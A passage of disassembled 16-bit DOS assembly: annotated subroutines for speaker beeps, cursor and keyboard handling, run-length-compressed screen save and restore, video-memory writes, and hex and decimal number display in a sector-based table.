;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_12 proc near
|
|
call sub_7
|
|
mov al,0B6h
|
|
out 43h,al ; port 43h, 8253 wrt timr mode
|
|
mov ax,180h
|
|
out 42h,al ; port 42h, 8253 timer 2 spkr
|
|
mov al,ah
|
|
out 42h,al ; port 42h, 8253 timer 2 spkr
|
|
in al,61h ; port 61h, 8255 port B, read
|
|
or al,3
|
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|
call sub_7
|
|
in al,61h ; port 61h, 8255 port B, read
|
|
and al,0FCh
|
|
out 61h,al ; port 61h, 8255 B - spkr, etc
|
|
; al = 0, disable parity
|
|
retn
|
|
sub_12 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_13 proc near
|
|
mov ah,2
|
|
mov dx,2000h
|
|
mov bh,data_104
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
retn
|
|
sub_13 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_14 proc near
|
|
mov ah,2
|
|
mov bh,0
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
call sub_15
|
|
retn
|
|
sub_14 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_15 proc near
|
|
loc_156:
|
|
cld ; Clear direction
|
|
lodsb ; String [si] to al
|
|
cmp al,0
|
|
je loc_ret_157 ; Jump if equal
|
|
mov ah,0Eh
|
|
mov bh,0
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
jmp short loc_156
|
|
|
|
loc_ret_157:
|
|
retn
|
|
sub_15 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_16 proc near
|
|
loc_158:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,1Bh
|
|
jne loc_159 ; Jump if not equal
|
|
pop ax
|
|
jmp data_89
|
|
loc_159:
|
|
cmp al,0Dh
|
|
jne loc_160 ; Jump if not equal
|
|
mov al,data_103
|
|
jmp short loc_161
|
|
db 90h
|
|
loc_160:
|
|
cmp al,30h ; '0'
|
|
jl loc_162 ; Jump if <
|
|
cmp al,data_102
|
|
jg loc_162 ; Jump if >
|
|
loc_161:
|
|
and ax,7
|
|
retn
|
|
loc_162:
|
|
call sub_11
|
|
jmp short loc_158
|
|
sub_16 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_17 proc near
|
|
mov cx,0FA0h
|
|
shr cx,1 ; Shift w/zeros fill
|
|
cld ; Clear direction
|
|
lodsb ; String [si] to al
|
|
inc si
|
|
xchg ah,al
|
|
loc_163:
|
|
lodsb ; String [si] to al
|
|
dec cx
|
|
jz loc_165 ; Jump if zero
|
|
inc si
|
|
cmp ah,al
|
|
jne loc_164 ; Jump if not equal
|
|
inc bx
|
|
jmp short loc_163
|
|
loc_164:
|
|
call sub_26
|
|
jmp short loc_163
|
|
loc_165:
|
|
call sub_26
|
|
retn
|
|
sub_17 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_18 proc near
|
|
push ds
|
|
push es
|
|
mov si,data_1e
|
|
mov di,data_16e
|
|
mov bx,0
|
|
mov ds,cs:data_91
|
|
mov es,cs:data_91
|
|
call sub_17
|
|
mov si,data_2e
|
|
mov bx,0
|
|
call sub_17
|
|
pop es
|
|
pop ds
|
|
retn
|
|
sub_18 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_19 proc near
|
|
mov ax,4ADh
|
|
mov data_93,ax
|
|
call sub_21
|
|
retn
|
|
sub_19 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_20 proc near
|
|
mov ax,6F7h
|
|
mov data_93,ax
|
|
call sub_21
|
|
retn
|
|
sub_20 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_21 proc near
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ax
|
|
xor di,di ; Zero register
|
|
mov si,cs:data_93
|
|
loc_166:
|
|
lodsb ; String [si] to al
|
|
cmp al,1
|
|
jne loc_169 ; Jump if not equal
|
|
lodsw ; String [si] to ax
|
|
mov cx,ax
|
|
test cl,80h
|
|
jz loc_167 ; Jump if zero
|
|
xchg ch,cl
|
|
and cx,7FFFh
|
|
lodsb ; String [si] to al
|
|
jmp short locloop_168
|
|
db 90h
|
|
loc_167:
|
|
xchg al,ah
|
|
and cx,7Fh
|
|
|
|
locloop_168:
|
|
call sub_25
|
|
loop locloop_168 ; Loop if cx > 0
|
|
|
|
jmp short loc_170
|
|
db 90h
|
|
loc_169:
|
|
call sub_25
|
|
loc_170:
|
|
cmp di,0FA0h
|
|
jl loc_166 ; Jump if <
|
|
jnz loc_171 ; Jump if not zero
|
|
mov di,1
|
|
jmp short loc_166
|
|
loc_171:
|
|
pop ax
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
retn
|
|
sub_21 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_22 proc near
|
|
push ds
|
|
mov ds,data_91
|
|
mov si,data_4e
|
|
mov di,offset data_115
|
|
mov cx,7
|
|
cld ; Clear direction
|
|
repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|
pop ds
|
|
cmp cx,0
|
|
jne loc_ret_172 ; Jump if not equal
|
|
mov data_92,0D5h
|
|
call sub_44
|
|
|
|
loc_ret_172:
|
|
retn
|
|
sub_22 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_23 proc near
|
|
mov ah,0Fh
|
|
int 10h ; Video display ah=functn 0Fh
|
|
; get state, al=mode, bh=page
|
|
; ah=columns on screen
|
|
mov ah,3
|
|
int 10h ; Video display ah=functn 03h
|
|
; get cursor loc in dx, mode cx
|
|
mov data_104,bh
|
|
mov data_105,cx
|
|
mov data_106,dx
|
|
call sub_18
|
|
retn
|
|
sub_23 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_24 proc near
|
|
mov data_93,1000h
|
|
mov ax,data_91
|
|
push ds
|
|
mov ds,ax
|
|
call sub_21
|
|
pop ds
|
|
mov bh,data_104
|
|
mov dx,data_106
|
|
mov ah,2
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
mov ah,1
|
|
mov cx,data_105
|
|
int 10h ; Video display ah=functn 01h
|
|
; set cursor mode in cx
|
|
retn
|
|
sub_24 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_25 proc near
|
|
push es
|
|
mov es,cs:data_91
|
|
mov dx,cs:data_90
|
|
cli ; Disable interrupts
|
|
push ax
|
|
loc_173:
|
|
in al,dx ; port 0, DMA-1 bas&add ch 0
|
|
test al,1
|
|
jnz loc_173 ; Jump if not zero
|
|
loc_174:
|
|
in al,dx ; port 0, DMA-1 bas&add ch 0
|
|
test al,1
|
|
jz loc_174 ; Jump if zero
|
|
pop ax
|
|
mov es:[di],al
|
|
sti ; Enable interrupts
|
|
inc di
|
|
inc di
|
|
pop es
|
|
retn
|
|
sub_25 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_26 proc near
|
|
cmp ah,1
|
|
je loc_175 ; Jump if equal
|
|
cmp bx,0
|
|
je loc_178 ; Jump if equal
|
|
cmp bx,1
|
|
jne loc_175 ; Jump if not equal
|
|
xor bx,bx ; Zero register
|
|
xchg ah,al
|
|
stosb ; Store al to es:[di]
|
|
jmp short loc_179
|
|
db 90h
|
|
loc_175:
|
|
push ax
|
|
inc bx
|
|
mov al,1
|
|
stosb ; Store al to es:[di]
|
|
mov ax,bx
|
|
and bx,0FF80h
|
|
nop ;*ASM fixup - sign extn byte
|
|
jz loc_176 ; Jump if zero
|
|
or ax,8000h
|
|
xchg ah,al
|
|
stosw ; Store ax to es:[di]
|
|
jmp short loc_177
|
|
db 90h
|
|
loc_176:
|
|
stosb ; Store al to es:[di]
|
|
loc_177:
|
|
xor bx,bx ; Zero register
|
|
pop ax
|
|
loc_178:
|
|
xchg ah,al
|
|
loc_179:
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
sub_26 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_27 proc near
|
|
mov al,data_110
|
|
mul data_111 ; ax = data * al
|
|
add ax,3Dh
|
|
mov di,ax
|
|
mov al,data_112
|
|
mov cl,15h
|
|
loc_180:
|
|
call sub_25
|
|
dec cl
|
|
cmp cl,0
|
|
jne loc_180 ; Jump if not equal
|
|
retn
|
|
sub_27 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_28 proc near
|
|
mov ds,data_25
|
|
cmp byte ptr ds:video_mode_,7
|
|
je loc_183 ; Jump if equal
|
|
cmp byte ptr ds:video_mode_,2
|
|
je loc_182 ; Jump if equal
|
|
cmp byte ptr ds:video_mode_,3
|
|
je loc_182 ; Jump if equal
|
|
loc_181:
|
|
push cs
|
|
pop ds
|
|
stc ; Set carry flag
|
|
retn
|
|
loc_182:
|
|
push cs
|
|
pop ds
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_183:
|
|
mov ds,cs:data_91
|
|
xor si,si ; Zero register
|
|
mov cx,50h
|
|
xor bx,bx ; Zero register
|
|
cld ; Clear direction
|
|
|
|
locloop_184:
|
|
lodsw ; String [si] to ax
|
|
cmp ah,al
|
|
jne loc_185 ; Jump if not equal
|
|
inc bx
|
|
loc_185:
|
|
loop locloop_184 ; Loop if cx > 0
|
|
|
|
cmp bx,0Ah
|
|
jg loc_181 ; Jump if >
|
|
jmp short loc_182
|
|
sub_28 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_29 proc near
|
|
mov cx,2
|
|
mov es,data_25
|
|
cld ; Clear direction
|
|
cli ; Disable interrupts
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
sti ; Enable interrupts
|
|
retn
|
|
sub_29 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_30 proc near
|
|
clc ; Clear carry flag
|
|
mov word ptr ds:[1F0h],es
|
|
mov es,data_25
|
|
cmp ax,es:[di]
|
|
jne loc_186 ; Jump if not equal
|
|
push cs
|
|
pop ax
|
|
cmp ax,es:[di+2]
|
|
je loc_187 ; Jump if equal
|
|
loc_186:
|
|
stc ; Set carry flag
|
|
loc_187:
|
|
mov es,word ptr ds:[1F0h]
|
|
retn
|
|
sub_30 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_31 proc near
|
|
mov data_100,0F5h
|
|
mov data_97,9
|
|
mov data_95,1
|
|
loc_188:
|
|
mov al,data_95
|
|
cbw ; Convrt byte to word
|
|
mov word ptr ds:[1A9h],0
|
|
mov word ptr ds:[1ABh],ax
|
|
call sub_32
|
|
mov dh,byte ptr ds:[1AFh]
|
|
mov dl,7
|
|
sub dl,dh
|
|
mov dh,data_97
|
|
mov si,0EDh
|
|
call sub_14
|
|
mov si,data_100
|
|
mov di,3A0h
|
|
cld ; Clear direction
|
|
call sub_35
|
|
inc di
|
|
call sub_35
|
|
mov data_100,si
|
|
mov dh,data_97
|
|
mov dl,14h
|
|
mov si,3A0h
|
|
call sub_14
|
|
mov si,data_100
|
|
lodsw ; String [si] to ax
|
|
mov word ptr data_98,ax
|
|
mov data_100,si
|
|
mov word ptr ds:[1A9h],0
|
|
mov word ptr ds:[1ABh],ax
|
|
call sub_32
|
|
mov dh,byte ptr ds:[1AFh]
|
|
mov dl,2Dh ; '-'
|
|
sub dl,dh
|
|
mov dh,data_97
|
|
mov si,0EDh
|
|
call sub_14
|
|
mov bl,50h ; 'P'
|
|
xor bh,bh ; Zero register
|
|
cmp data_31,0
|
|
jne loc_189 ; Jump if not equal
|
|
shr bx,1 ; Shift w/zeros fill
|
|
loc_189:
|
|
dec bx
|
|
mov ax,2
|
|
mul bx ; dx:ax = reg * ax
|
|
mov bl,data_56
|
|
xor bh,bh ; Zero register
|
|
mul bx ; dx:ax = reg * ax
|
|
mov bl,data_53
|
|
add ax,bx
|
|
mov bx,word ptr data_98
|
|
cmp byte ptr ds:[2423h],1
|
|
je loc_190 ; Jump if equal
|
|
shl bx,1 ; Shift w/zeros fill
|
|
loc_190:
|
|
sub ax,bx
|
|
mov bx,200h
|
|
mul bx ; dx:ax = reg * ax
|
|
mov word ptr ds:[1A9h],dx
|
|
mov word ptr ds:[1ABh],ax
|
|
call sub_32
|
|
mov dh,byte ptr ds:[1AFh]
|
|
mov dl,44h ; 'D'
|
|
sub dl,dh
|
|
mov dh,data_97
|
|
mov si,0EDh
|
|
call sub_14
|
|
mov al,data_99
|
|
cmp data_95,al
|
|
jne loc_191 ; Jump if not equal
|
|
call sub_13
|
|
retn
|
|
loc_191:
|
|
inc data_95
|
|
inc data_97
|
|
jmp loc_188
|
|
sub_31 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_32 proc near
|
|
mov di,0EDh
|
|
call sub_33
|
|
mov word ptr ds:[1ADh],bx
|
|
mov byte ptr ds:[1AFh],bl
|
|
jz loc_195 ; Jump if zero
|
|
loc_192:
|
|
cld ; Clear direction
|
|
or al,30h ; '0'
|
|
stosb ; Store al to es:[di]
|
|
mov word ptr ds:[1A5h],0
|
|
mov word ptr ds:[1A7h],0
|
|
push di
|
|
mov di,word ptr ds:[1B0h]
|
|
add di,word ptr ds:[1B2h]
|
|
call sub_34
|
|
pop di
|
|
mov ax,word ptr ds:[1A7h]
|
|
sub word ptr ds:[1ABh],ax
|
|
jnc loc_193 ; Jump if carry=0
|
|
dec word ptr ds:[1A9h]
|
|
loc_193:
|
|
mov ax,word ptr ds:[1A5h]
|
|
sub word ptr ds:[1A9h],ax
|
|
dec word ptr ds:[1ADh]
|
|
cmp word ptr ds:[1ADh],0
|
|
je loc_195 ; Jump if equal
|
|
call sub_33
|
|
loc_194:
|
|
cmp bx,word ptr ds:[1ADh]
|
|
je loc_192 ; Jump if equal
|
|
push ax
|
|
mov al,30h ; '0'
|
|
stosb ; Store al to es:[di]
|
|
pop ax
|
|
dec word ptr ds:[1ADh]
|
|
cmp word ptr ds:[1ADh],0
|
|
jne loc_194 ; Jump if not equal
|
|
loc_195:
|
|
mov ax,word ptr ds:[1ABh]
|
|
or al,30h ; '0'
|
|
cld ; Clear direction
|
|
stosb ; Store al to es:[di]
|
|
mov al,0
|
|
stosb ; Store al to es:[di]
|
|
retn
|
|
sub_32 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_33 proc near
|
|
mov dx,word ptr ds:[1A9h]
|
|
mov ax,word ptr ds:[1ABh]
|
|
mov word ptr ds:[1B0h],0
|
|
mov word ptr ds:[1B2h],0
|
|
cmp dx,0
|
|
jne loc_196 ; Jump if not equal
|
|
cmp ax,2710h
|
|
jb loc_197 ; Jump if below
|
|
loc_196:
|
|
mov bx,2710h
|
|
mov word ptr ds:[1B0h],8
|
|
div bx ; ax,dx rem=dx:ax/reg
|
|
loc_197:
|
|
cmp ax,0Ah
|
|
jb loc_200 ; Jump if below
|
|
mov word ptr ds:[1B2h],6
|
|
xor dx,dx ; Zero register
|
|
mov bx,offset 1C8h
|
|
loc_198:
|
|
cmp ax,[bx]
|
|
jge loc_199 ; Jump if > or =
|
|
sub word ptr ds:[1B2h],2
|
|
sub bx,2
|
|
jmp short loc_198
|
|
loc_199:
|
|
mov bx,[bx]
|
|
div bx ; ax,dx rem=dx:ax/reg
|
|
loc_200:
|
|
mov bx,word ptr ds:[1B0h]
|
|
add bx,word ptr ds:[1B2h]
|
|
shr bx,1 ; Shift w/zeros fill
|
|
retn
|
|
sub_33 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_34 proc near
|
|
and al,0Fh
|
|
cbw ; Convrt byte to word
|
|
push ax
|
|
mov bx,offset 1C2h
|
|
mov bx,[bx+di]
|
|
mul bx ; dx:ax = reg * ax
|
|
add word ptr ds:[1A7h],ax
|
|
jnc loc_201 ; Jump if carry=0
|
|
inc dx
|
|
loc_201:
|
|
add word ptr ds:[1A5h],dx
|
|
mov bx,offset 1B4h
|
|
pop ax
|
|
mov bx,[bx+di]
|
|
mul bx ; dx:ax = reg * ax
|
|
add word ptr ds:[1A5h],ax
|
|
retn
|
|
sub_34 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_35 proc near
|
|
lodsb ; String [si] to al
|
|
call sub_36
|
|
stosw ; Store ax to es:[di]
|
|
lodsb ; String [si] to al
|
|
call sub_36
|
|
stosw ; Store ax to es:[di]
|
|
retn
|
|
sub_35 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_36 proc near
|
|
mov ah,al
|
|
and ah,0Fh
|
|
mov cl,4
|
|
shr al,cl ; Shift w/zeros fill
|
|
and al,0Fh
|
|
cmp al,0Ah
|
|
jge loc_202 ; Jump if > or =
|
|
add al,30h ; '0'
|
|
jmp short loc_203
|
|
db 90h
|
|
loc_202:
|
|
add al,37h ; '7'
|
|
loc_203:
|
|
cmp ah,0Ah
|
|
jge loc_204 ; Jump if > or =
|
|
add ah,30h ; '0'
|
|
jmp short loc_ret_205
|
|
db 90h
|
|
loc_204:
|
|
add ah,37h ; '7'
|
|
|
|
loc_ret_205:
|
|
retn
|
|
sub_36 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_37 proc near
|
|
mov al,data_29
|
|
mov bx,offset data_30
|
|
cbw ; Convrt byte to word
|
|
add bx,ax
|
|
mov al,[bx]
|
|
mov data_31,ax
|
|
retn
|
|
sub_37 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
